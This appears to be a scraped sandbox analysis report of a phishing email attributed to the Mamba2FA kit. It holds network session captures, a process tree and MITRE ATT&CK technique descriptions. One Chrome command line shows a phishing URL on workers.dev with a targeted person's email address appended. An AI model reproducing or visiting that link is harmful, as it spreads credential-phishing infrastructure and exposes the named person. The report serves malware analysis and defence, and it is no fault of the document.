2024-11-07 22:47:47 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:47 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:47 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:47 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: c6a80355-b01e-0070-0e08-2c1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224747Z-16547b76f7fcrtpchC1DFW52e800000008w00000000067qu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:47 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:48 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:48 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:48 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 4df37937-b01e-003d-35ab-2bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224748Z-16547b76f7f2g4rlhC1DFWnx8800000008p000000000k303 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:48 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:48 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:48 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:48 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 3018dbe1-101e-008d-70d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224748Z-16547b76f7fvllnfhC1DFWxkg800000008u000000000e8n3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:48 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:48 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:48 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:48 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6c65b011-001e-000b-6024-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224748Z-16547b76f7f8dwtrhC1DFWd1zn00000008x000000000an4d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:48 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:48 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:48 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:48 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 1deec605-401e-0029-2fd2-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224748Z-16547b76f7fkcrm9hC1DFWxdag00000008ug00000000nczk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:48 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:49 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:49 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:49 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 3018dd1c-101e-008d-1bd2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224749Z-16547b76f7frbg6bhC1DFWr54000000008q000000000eg42 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:49 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Target ID:	0
Start time:	17:47:10
Start date:	07/11/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\Leg AdobeShareFile62532.pdf.eml (21.8 KB).msg"
Imagebase:	0xf00000
File size:	34'446'744 bytes
MD5 hash:	91A5292942864110ED734005B7E005C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	17:47:15
Start date:	07/11/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "33D2C1D9-A338-44A4-B342-73999327D5FA" "57C154EC-7A9D-400B-BB7E-03D2AFEEBC88" "2132" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Imagebase:	0x7ff79e950000
File size:	710'048 bytes
MD5 hash:	EC652BEDD90E089D9406AFED89A8A8BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	17:47:19
Start date:	07/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev/?NHEDjoe.nguyen@leg.wa.gov
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:47:20
Start date:	07/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1976,i,6964105365964533896,9458481899654346610,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Leg AdobeShareFile62532.pdf.eml (21.8 KB).msg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Mamba2FA

Yara Signatures

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\43016259-7FF2-417A-BB2B-7EC6D3BE846D

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journal

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\707210CF.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{38B8CA5B-06E4-4B45-A50F-11A8605D86D4}.tmp

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1731019634297279800_6DF433B8-5D16-42EB-A66E-1F37A741068C.log

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1731019634298597900_6DF433B8-5D16-42EB-A66E-1F37A741068C.log

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241107T1747130908-2132.etl

C:\Users\user\AppData\Local\Temp\~DF33204D0390BD97F2.TMP

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

C:\Users\user\AppData\Roaming\Microsoft\Outlook\NoEmail.srs

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Windows Analysis Report
Leg AdobeShareFile62532.pdf.eml (21.8 KB).msg